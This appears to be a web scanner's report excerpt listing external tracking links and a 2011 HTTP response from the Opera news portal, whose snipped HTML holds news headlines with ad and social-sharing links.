http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:5321480c9259156bdd4bf922e981d8d1:z6LAAUwM48rohEOMrnlf6%2FV7QXcW80POyIN8DfB%2FBVvoM8CAoi68P3OOME9R4%2BRtdkVj%2BpkHWzrAFmA%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:53d8e273259a447c969e0e61d45032aa:hqDb17pDzUs8kZZgkw5DZ9LlTzoAXIMzyPp4cZFNtcKELyRVE8FEh1Le%2FWYK6WiqaNynJcF4Dsaococ%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:548478fb2a9e7afe8b883ef702db7f3a:yjpPUcVRm1j%2BcqFdqW4wxRS2LjpJUWd8YgbZ2TZudiWPaG9Op7qPBvNVxYwaAPiPcCvus5f3Jnsq4g%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:56e2494fff80f7951cfcd18c0fc57868:cHZRjrsOQyW1icnJeTFtNebqYtovZ%2F6kaAp2zG1M2LxKtGTTWROdvMLi%2F0K%2FWlEtCCDKpuS5ov3YCg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:5afc56f7f227021d00badd2455119228:2UttFBUWzy8%2BX5sQYNMdr15VshxQmbhyPO1Z%2BQ5E9qY00%2Bl85D1ha4CDq46ZhsyOTzFCfGRg%2Fovacs4%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6113b708739e73a2af44be5b220c57ad:WZOcLKe5ZjbRi5kLHyuMGX0yjNg3DrNQ%2FxRW31yRBmhXutW2PRo06KRPNVzv4w90TbTjnfjyp5zlcJw%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:67f69572599335f9f92a0255abe84f8f:jFpKmaAew3MoArYO9j7ynCCwhcxw4rJ9nBLu%2BK1jx2tZRobvDP2POHrC%2FWhR0lo%2Bb9I8fFhLgQ3YgOo%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:69279d531bc2a400190f1f605019163e:wjXqX%2F4z7qDpXpJJGqW9KABWchsSoJHt2BEOO5tLO0cxjziIaR6viNkH4RQBNooB%2BORXaidpP7heig%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:695d9760db6ffd0b520e6365e1eeb8e2:jGN8UvoyCAJ2iHd8zUa59kbs2cNQZKsGskAKEmY7je15BQ5ygAhNH7%2BYusCWDTHw1%2BWJ%2FmRNQeE3zQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6993129d1ee290ab494ffcbbb611d497:I7D7MFtnCfpzNo1ZK69LoDD0PnHrcR4Xfsc5EQbxwDyG4zCr36QImDqpOEP1w%2BFTUUR%2Fca0pOmcv6g%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6d1b3fe3f61d588db5b838db3ff461f4:IWHjvJLzED7J1H4%2FjEIPWTEigZOf6%2Fy1SPqN1UyvkDyGfNjTii2dmC8T4XeI5hXBG%2BzlkKlti39%2Faw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6d4b996812825a1ece03d59f583d2ad3:Z9oQNP4Zd%2FTMz0XZ3L%2F6QykNUxqS0htw%2B7dQFo3OFdroxFy%2FxbSEtI3M7V4mNAHNFxJBTZAgUdkasyQ%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6dc5f5f32f3d1c74d09a6ba4c4b9d874:VFPnIwyZ6LaSJWXfSz%2Btct%2BpARK8lzB8ZIjVMIN%2Bm0tpXZcmH99P8efERkZq3nk2mAEQ%2FwyHjJ94tQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:705593dd8c63ebcc99184de5b8ea9712:%2BgJFM%2BhkXT8IpwZPKd%2FMWBSfzfeuhjRx0c%2B41qLYsZyLAq6TSza28HJcAkUhI%2BSmJcqgq4k3W7S5kQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:7ae7d50c4400864f1fb4a4aa771f4405:oh7nYgv1qPIIBnLWVKPdv4TJcZ%2BzyHglM5NpbGKEdens1R1X%2BhdvtAQbr%2BMIEIdN7SAQazrHTV3gZt8%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:7d22c5d45ab447e28914283b77c4ca15:iWvfCVJdAQQvHwb9suksF6l8EPyHg4XiHK1OrhK9LNzB%2FSFBtHQYFfQ5rIz96ZpXPrH5761zJFGIRw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:7f9e45bda1c37dd0ccbf8d84a9db08d9:hpyP64LjWoi9Qa%2FqkxqxvaFoM%2FuvYA8mKALkVYk%2F21G6MS5YVk4EwesgNdMbgnjXt3T11ytq1uEHIQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:87254ee65948b8403e320b31339d4b58:tB4dOfoxHTWIc57ppIOrAl7YhH5coeK7zSbsKxfm9VPxwJap8DL%2B7gnbUHFFUvrkA2owkwhx3eUZRE8%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:88934c298c46cb3ae6d9025688f648f2:7YCiPR8JicE%2FyrXKkW5OhK9v78hnWhc0HJVTTvrrB6ZuPtXKWPSaNq6DZmT75WATMF51VXx1GGWy4w%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:9099604428720fb2ae7ca837343e23be:4IavsCsRvzwGo5i4B8%2BVD00%2BvOprIzA8te8J2Dp2Kxwa2yl0No3F20LL37UreChFY8EjrrrHfyBTrg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:922c8b42feab8011af107bf845a164ba:e%2BtzGBeyDuP8kv2F4r92stkBKBQ5S2527ZWD%2B8c5uaqFJQOKX6jYaySGde5d0I6WvuYkrp59q3%2B%2Bn%2BA%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:9b12cfb3f67744704696df9bd9ea3674:M637JCrfiK3lIgi%2FmZ7%2B6DcqChpVBqzEYyJaYL2aksXsglaUT4P%2FR8hXoyU1lQRvdFK6KpoemD4ThA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:9c5f123e8602bfc6839d261ff46344ee:Out%2Ff49sEdzyR3oeXoTZc0SqGyMjz3KaMgU5fIns9gXfijtwWlOSm8DNqj6Ywt3SKmIF81YrZcof42k%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:9e6508d1dd2cbed3b4fcd1aa0ba09b89:8yN5tMwUCGan2TeZ%2BhyePMTIozcFeL0KhpjhrzaYA1Qrdj%2FPtL9g0XmPG1t0QO5AL%2BX9yGNoxOButA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:9fa01cc55eacbb2559f0e07b11a4d580:eXR%2FgNrYn%2B3K86xRfWPk9PYQ%2BxoLaVsV090wIIVyqKPVKPoyMDTHUWgfbDGfUokTwdX52cWayDZpvQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a2aea7a5e5db9ffe2cb9c8ff8c87b2c8:8qC16lGkmnXR9zuU1lo53EhMoHK1e9Ui8D0reXurvvIp1KwB2wWhwYOHhhP6VAmrVYkDxex%2BBJiyeOo%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a2d397c922aea3e96386554709b21e94:r2bS%2FFDzsPHav6uk8R2iKf81rnPqigS6iExNda3PIivJLnwufRol8tEVN36UjxaOT8Rd7i3JJvxQopQ%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a4f0742376635e1c7a2b5d307ce72976:Lw%2BnBvSaPLa6EP3pMxTi9R1Zia5IsUEU8ZtkIuGMY1KoxBwoG%2F5IVBSWGNqxT4vPxHi9y%2FrmqpkDjg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a62d52783f6dc2aae716becc87105151:Oy46wFZG47fTR7zmzbvekMcdDoaZILF8jDdMcVig%2Bg5cSNNIoh9x3S%2BLqnbxSStKwdfO%2BevQyj5WCmg%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a6c9fc893592a3b15a7bf63bbe463761:NXq4To3cM4hlZG8YVoscWkZcJpg9ai0pghp1D5XM8%2BupqRV08PPMkRNg2rcASiHZcQe1wp4VCZEhoA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a98dfb1c8a2b05d1103ab17f9c0da5e1:Y7aHPwE0NiUxqJqNdHxwyRG5cP802F2K2I71J1lcScGhTW68ySDR9ZhgJdHhgUhPz%2B8YGSkrVq3lJg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:b11ec77ddfa166d84643fad6a60642e6:VcvOhe2mvxV80VHL1uhJ4v1ONVV1Gjf5%2B%2FBV%2FYkWLAti%2BMviPMS6wo8a3fmcknv7XWysny%2FvNaQ4og%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:b68af884721b95ee2d8b03d5cc73f7c0:D47wpo20Uewow3joISMoxJzlL6KG%2FJnZLkQx0W%2BktzKOwOhKzOipiuIDEZaDqeaBLEa9fwp9q9pwZw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:bd029637ec852bb208f87ae7c77b342f:IGRK6DRbg18kfzUSfz5vcDAmYtqbPyVM0fCZRwRWcGKhFsBkQ3ykeKEUCD251fU6nUsfDtajwV4qFqg%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:be44c6e8e6ba5c89da8d68e52553beb2:eJXKpxEf%2Br%2BPUT10hCv68AHotians5iygX0fyQaNJCNfnqrquQMTuaUFSr7TwdpswPTaGlIQZPwuMA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:c839fe770003010375dcbfd007142647:qAkdOgFIvDaDNKBdHsA%2BvM8iD%2FfR%2FbhgZxLgZR8DxXkJNiozT%2FE41gXTlWVsiXfAoeIh5rv6bPLjHg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:c989456049f9d29af5b1793c01cf0fe8:kOpw3Fm623mQC1Vnih7uTNqvyGgXvOvR0nPA3435Om4%2BHEQCX6gMAi%2Bn0DS%2BkDymSY8on7fnhgSHv0E%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:d0a1f5b1ffddf9157329945a18b7e80b:jrozdH2o0R1iJjLx9aVaF3hQdFU12vW21HaHJ3glkzeDZXJ3L%2FgtnGmBrXxDKhn4pFqUSUi2dW%2FUB%2Fw%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:d1fa54cd22e6c107ddf242cb213fb3e9:Mc9hDw4Z6MZ5GBA%2FoL47LXhxgUI2WdDM3DSPkFJztIqB7MdjMOnOu0l%2B93kpPgsnnvF8Fll6JwtrpQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:d32be7f5a3d9f29a37ead895716c30c4:RbsCbe%2BZOfPSBoeSI0TtrwbyzA0LMuGmV9FogaQuVW%2BGHQ8eoLd9BLt1EPoj9Fs%2F%2BuLmBXZQKG3Glg%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:d5a6392872e0e563ae3de7b584c6842e:QITbI%2F4VQqr6K%2FfjPMAoSPY1mPb5y9VAZfI4xA9%2BNuGrrnLDBxl4kWTKx4j%2FSgB%2FYcAw03wM5L4NiQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:da82ae2c3edc5e84ce7090fafd5a0a3b:nECBkaKszvVxwPWezan5U3pikOMQt9Q6bOQh0PjVKSQGOOn8O8W6OcjgIsIpVFNTPZtXWiQCAKWLyw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:dd21acf7079b5d05bce54c6a2a61ce46:madQ11nPw%2BsNoaNLgnyunMe7wpHoStigIjPNY%2BksBE3rzbih2kJOlAnQ0wPDTTqjP7cvrU6WDlaC0g%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:e121c99847eca8e0320005e2b82f51e9:EJs2Icy3%2BY%2B%2BVnXjaoss33yYPC7ccHpJqnk%2FioN3t2Vlid90G%2BZ5ZQjwLI6qey4jd04eIX1IPWdgdxY%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:e598792623131d00bf48ada2b793c3a3:Gcb8Is6p7Kv59TAaAXeUo3KNwcPJYggdxvsuoEbHyrCC3N2hGGC5mhKdAa1f8shyswcmdfFAjWLQeA%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:ef9c9980b3317296695f58f599cfc2de:m67ok2LCezL1ay0a78%2BKN5znGORb426ZZB1nLcSkjvFeMFjJpypPOUThCrPbolNoWFmadsIbmO87lQ%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:f0fd5768fb63bc7d50badd21b37a1214:GoQKW10pkdTXqf0tG7f14Q0NwveJ88Yie5X5uPsx7xtYvCljZfvarg0BvHB8kvFFJUfeY%2FX3%2FzpMgw%3D%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:f140ed990ca70fd4731101049b84c4a3:QF61W2%2FnPHg0lfJJ07Liz9zhqEQg9E%2BjD18%2BWthbGOjLDtXRHqtS8JpU7ZwilJJCXT%2BIy6kiuzs7FtM%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:f2d2e1f4d282242ea228f15ac8c1b95d:clH2f0rrLXpFFYM4XsqG5qcy%2FDg3qGBVNWoVzYEOdZKVo1a89EGgfe5L7CyD3p4bDli3JXahpp4W3pY%3D
http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:fb6f58ce6c84594102cf8b0e7197c54e:5lFdaaWmbncCmBo8OkNnEYY2fO1t8tHeYYDeNPIfjiJqbdzsy5nbgoqwwsPaq8RSpJSO5uguUr3jaw%3D%3D

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Debian)
Vary: Accept-Language,Cookie,Accept-Encoding
Content-Language: en
X-XRDS-Location: http://portal.opera.com/static/misc/yadis.xrdf
Set-Cookie: csrftoken=838dab485752a3df29256e939fd2d3cb; expires=Fri, 14-Sep-2012 16:24:54 GMT; Max-Age=31449600; Path=/
Content-Type: text/html; charset=utf-8
Content-Length: 75719
Date: Fri, 16 Sep 2011 16:24:54 GMT
X-Varnish: 3235953845
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" >
<title>Opera Portal - News </title>

<meta name="ROBOTS" content="ALL" >
<meta name="
...[SNIP]...
<h2>
<a class="art-opn" href="http://edition.cnn.com/2011/WORLD/europe/09/16/uk.wales.mine/index.html?eref=edition" title="Body of third Welsh miner found" target="_blank">

Body of third Welsh miner found

</a>
...[SNIP]...
<br>
<a href="http://edition.cnn.com/2011/WORLD/europe/09/16/uk.wales.mine/index.html?eref=edition" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://edition.cnn.com/2011/WORLD/europe/09/16/switzerland.bank.lost/index.html?eref=edition" title="Trader charged with fraud after $2 billion loss for UBS" target="_blank">

Trader charged with fraud after $2 billion loss for UBS

</a>
...[SNIP]...
<br>
<a href="http://edition.cnn.com/2011/WORLD/europe/09/16/switzerland.bank.lost/index.html?eref=edition" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://edition.cnn.com/2011/WORLD/africa/09/16/kenya.kidnapped.tourist/index.html?eref=edition" title="Kenya police hunt kidnapped tourist" target="_blank">

Kenya police hunt kidnapped tourist

</a>
...[SNIP]...
<br>
<a href="http://edition.cnn.com/2011/WORLD/africa/09/16/kenya.kidnapped.tourist/index.html?eref=edition" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/b4t4LiHfLp0/1" title="Robertson's view of Alzheimer's riles ethics, disability experts" target="_blank">

Robertson's view of Alzheimer's riles ethics, disability experts

</a>
...[SNIP]...
<p><a href="http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/0/da"><img src="http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/0/di"/></a><br/>
<a href="http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/1/da"><img src="http://feedads.g.doubleclick.net/~at/QGP5DuQ7jVIRGdU4dn0MEGGZ8QA/1/di"/></a></p>
<a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=b4t4LiHfLp0:tCkP2h2wMCY:-BTjWOF_DHI"/> <a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=b4t4LiHfLp0:tCkP2h2wMCY:yIl2AUoC8zA"/>

<br>
<a href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/b4t4LiHfLp0/1" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/zWrjfiFwgWY/1" title="Survey: Americans don't know Constitution, civics" target="_blank">

Survey: Americans don't know Constitution, civics

</a>
...[SNIP]...
<p><a href="http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/0/da"><img src="http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/0/di"/></a><br/>
<a href="http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/1/da"><img src="http://feedads.g.doubleclick.net/~at/M0uFv_KT38s9CFFGcPDEaRqC9w8/1/di"/></a></p>
<a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=zWrjfiFwgWY:OD7FYn1h28g:-BTjWOF_DHI"/> <a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=zWrjfiFwgWY:OD7FYn1h28g:yIl2AUoC8zA"/>

<br>
<a href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/zWrjfiFwgWY/1" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/vppTbG__PPs/1" title="Obama signs patent law, sells jobs bill" target="_blank">

Obama signs patent law, sells jobs bill

</a>
...[SNIP]...
<p><a href="http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/0/da"><img src="http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/0/di"/></a><br/>
<a href="http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/1/da"><img src="http://feedads.g.doubleclick.net/~at/Qs6lmOyve0u5Uocek1sQ-sCBktQ/1/di"/></a></p>
<a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=vppTbG__PPs:63bVs9_B3Mk:-BTjWOF_DHI"/> <a href="http://rssfeeds.usatoday.com/~ff/usatoday-NewsTopStories?a=vppTbG__PPs:63bVs9_B3Mk:yIl2AUoC8zA"/>

<br>
<a href="http://rssfeeds.usatoday.com/~r/usatoday-NewsTopStories/~3/vppTbG__PPs/1" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.abcnews.com/click.phdo?i=d5bf9eaa317b032947df1054204384f0" title="Cantaloupe Scare: More Melons Pulled Off Shelves" target="_blank">

Cantaloupe Scare: More Melons Pulled Off Shelves

</a>
...[SNIP]...
<br/>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4be90df6b092fc917029d8828e4694cf:aj%2BPgp8tN6wzo3pCTDEtCBhXdgjmeMvIPnlXZxHQVjVqqK47LopKENk9vZu8%2FzpEF3gIUT85fUbkzg%3D%3D"><img src="http://images.pheedo.com/images/mm/emailthis.png" title="Email this Article"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:19632b1a3dd7347a5ed9bebf8aa8016c:%2FIBPc%2FCdaQAuzDc8luNQt4TY8MzLQkEGiRIlpCZXkPaaQkRCs9DWBgObatIm4wS%2B8hnZcmzSw%2F5ER0w%3D"><img src="http://images.pheedo.com/images/mm/twitter.png" title="Add to Twitter"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:03d6b8df7267f253e107160f0a47f3da:uIckAG0pH5LXIbB3c4KrhKG%2FWS%2BpnE8YObKbymPBtBKUCVG%2Bdck3F9MTjqWvu3VngoQi%2BlbnitK6tdU%3D"><img src="http://images.pheedo.com/images/mm/facebook.gif" title="Add to Facebook"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:3cbe7d72ad21766618b0170ec3bcfd73:Tl6T75kYaoi7XFGYBoOXMR4f5QycMo%2ByfmFUY9tz8dGLv0XrGsRpGpkFRCgmYPTmZGpo0rHrGBIEPQ%3D%3D"><img src="http://images.pheedo.com/images/mm/digg.gif" title="Add to digg"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:f0fd5768fb63bc7d50badd21b37a1214:GoQKW10pkdTXqf0tG7f14Q0NwveJ88Yie5X5uPsx7xtYvCljZfvarg0BvHB8kvFFJUfeY%2FX3%2FzpMgw%3D%3D"><img src="http://images.pheedo.com/images/mm/reddit.png" title="Add to Reddit"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:2a437e346c91bfe93ba3108d11d963fc:FGTT47x2XPiSQHepWRP5n%2BiflqJyudiLdi1c%2B2GsdfoUNzFk8m2oIvFOy8M%2FPewTRc7JARXv7xv9nrE%3D"><img src="http://images.pheedo.com/images/mm/stumbleit.gif" title="Add to StumbleUpon"/></a>
<br/>

<img src="http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php"/>
<br>
<a href="http://feeds.abcnews.com/click.phdo?i=d5bf9eaa317b032947df1054204384f0" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.abcnews.com/click.phdo?i=92ab1f0ada6b58f9957ae4a74b42eef1" title="'Now You Have to Pay'" target="_blank">

'Now You Have to Pay'

</a>
...[SNIP]...
<br/>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4d73012d922c3afc24f0ed92ccd7db92:mdl6mYDy870nTr8e4zoZ7tJu8XiIcdI2s3bUKPjHdkH%2BGAbg7hIKSAyLLlGRuzBF%2FQ6ErJRNV4OPDQ%3D%3D"><img src="http://images.pheedo.com/images/mm/emailthis.png" title="Email this Article"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6d4b996812825a1ece03d59f583d2ad3:Z9oQNP4Zd%2FTMz0XZ3L%2F6QykNUxqS0htw%2B7dQFo3OFdroxFy%2FxbSEtI3M7V4mNAHNFxJBTZAgUdkasyQ%3D"><img src="http://images.pheedo.com/images/mm/twitter.png" title="Add to Twitter"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:09cdbe29ad4567423783286e764b43c1:2gFXenmVTrWyBx708evuaUUg1ntDARyKDmk9%2FaVPs2NdugvsZSKJ4BkNAH%2BKq%2FRTrFUPT0cDPdYNm9k%3D"><img src="http://images.pheedo.com/images/mm/facebook.gif" title="Add to Facebook"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6d1b3fe3f61d588db5b838db3ff461f4:IWHjvJLzED7J1H4%2FjEIPWTEigZOf6%2Fy1SPqN1UyvkDyGfNjTii2dmC8T4XeI5hXBG%2BzlkKlti39%2Faw%3D%3D"><img src="http://images.pheedo.com/images/mm/digg.gif" title="Add to digg"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:6dc5f5f32f3d1c74d09a6ba4c4b9d874:VFPnIwyZ6LaSJWXfSz%2Btct%2BpARK8lzB8ZIjVMIN%2Bm0tpXZcmH99P8efERkZq3nk2mAEQ%2FwyHjJ94tQ%3D%3D"><img src="http://images.pheedo.com/images/mm/reddit.png" title="Add to Reddit"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:a2d397c922aea3e96386554709b21e94:r2bS%2FFDzsPHav6uk8R2iKf81rnPqigS6iExNda3PIivJLnwufRol8tEVN36UjxaOT8Rd7i3JJvxQopQ%3D"><img src="http://images.pheedo.com/images/mm/stumbleit.gif" title="Add to StumbleUpon"/></a>
<br/>

<img src="http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php"/>
<br>
<a href="http://feeds.abcnews.com/click.phdo?i=92ab1f0ada6b58f9957ae4a74b42eef1" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.abcnews.com/click.phdo?i=82c08359e23b7a4bc05c6e5858889e7d" title="Teens' Chilling Romeo and Juliet-Like Romance" target="_blank">

Teens' Chilling Romeo and Juliet-Like Romance

</a>
...[SNIP]...
<br/>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:da82ae2c3edc5e84ce7090fafd5a0a3b:nECBkaKszvVxwPWezan5U3pikOMQt9Q6bOQh0PjVKSQGOOn8O8W6OcjgIsIpVFNTPZtXWiQCAKWLyw%3D%3D"><img src="http://images.pheedo.com/images/mm/emailthis.png" title="Email this Article"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:87254ee65948b8403e320b31339d4b58:tB4dOfoxHTWIc57ppIOrAl7YhH5coeK7zSbsKxfm9VPxwJap8DL%2B7gnbUHFFUvrkA2owkwhx3eUZRE8%3D"><img src="http://images.pheedo.com/images/mm/twitter.png" title="Add to Twitter"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:4d0c78ccecbacc012e0529aac4fd2ddd:eJqq51O0zSasRe0BB6tQdhwszFVoCtMkTboObIUfPPKJ4Zza0CtxOZzVGmSlkLve%2FY4OAkrav%2BQ6sXk%3D"><img src="http://images.pheedo.com/images/mm/facebook.gif" title="Add to Facebook"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:695d9760db6ffd0b520e6365e1eeb8e2:jGN8UvoyCAJ2iHd8zUa59kbs2cNQZKsGskAKEmY7je15BQ5ygAhNH7%2BYusCWDTHw1%2BWJ%2FmRNQeE3zQ%3D%3D"><img src="http://images.pheedo.com/images/mm/digg.gif" title="Add to digg"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:c839fe770003010375dcbfd007142647:qAkdOgFIvDaDNKBdHsA%2BvM8iD%2FfR%2FbhgZxLgZR8DxXkJNiozT%2FE41gXTlWVsiXfAoeIh5rv6bPLjHg%3D%3D"><img src="http://images.pheedo.com/images/mm/reddit.png" title="Add to Reddit"/></a>
<a href="http://www.pheedcontent.com/hostedMorselClick.php?hfmm=v3:1fac8be16882fb6baca597daa6cde2d4:CvRYIaG0mLQYpfqc0AUrharphIWCVuMNsxdIQNM8g%2BpvCwMqnS%2FblMDiu3iUTuyebN%2FSC42QKIswSwY%3D"><img src="http://images.pheedo.com/images/mm/stumbleit.gif" title="Add to StumbleUpon"/></a>
<br/>

<img src="http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php"/>
<br>
<a href="http://feeds.abcnews.com/click.phdo?i=82c08359e23b7a4bc05c6e5858889e7d" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/cpygPuPGtBY/chi-justo-gladstone-park-homicide-beating-20110916,0,4980461.story" title="Neighbor charged in Gladstone Park beating death" target="_blank">

Neighbor charged in Gladstone Park beating death

</a>
...[SNIP]...
<p><a href="http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/0/da"><img src="http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/0/di"/></a><br/>
<a href="http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/1/da"><img src="http://feedads.g.doubleclick.net/~at/rgheRVQPYX5YZU0k8d9FflXse7w/1/di"/></a></p>
<br>
<a href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/cpygPuPGtBY/chi-justo-gladstone-park-homicide-beating-20110916,0,4980461.story" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Z6WBgp-lEg8/chi-accident-death-new-lenox-palos-hills-20110916,0,6826974.story" title="High school cross-country runner dies after he's hit by car" target="_blank">

High school cross-country runner dies after he's hit by car

</a>
...[SNIP]...
<br>
<a href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Z6WBgp-lEg8/chi-accident-death-new-lenox-palos-hills-20110916,0,6826974.story" target="_blank">Read more.</a>
...[SNIP]...
<h2>
<a class="art-opn" href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Frb527jEt8w/chi-emanuel-to-city-workers-use-wellness-plan-or-pay-more-for-insurance-20110916,0,3843783.story" title="Emanuel to city workers: Use 'wellness plan' or pay more for insurance" target="_blank">

Emanuel to city workers: Use 'wellness plan' or pay more for insurance

</a>
...[SNIP]...
<br>
<a href="http://feeds.chicagotribune.com/~r/ChicagoBreakingNews/~3/Frb527jEt8w/chi-emanuel-to-city-workers-use-wellness-plan-or-pay-more-for-insurance-20110916,0,3843783.story" target="_blank">Read more.</a>
...[SNIP]...
<h2>
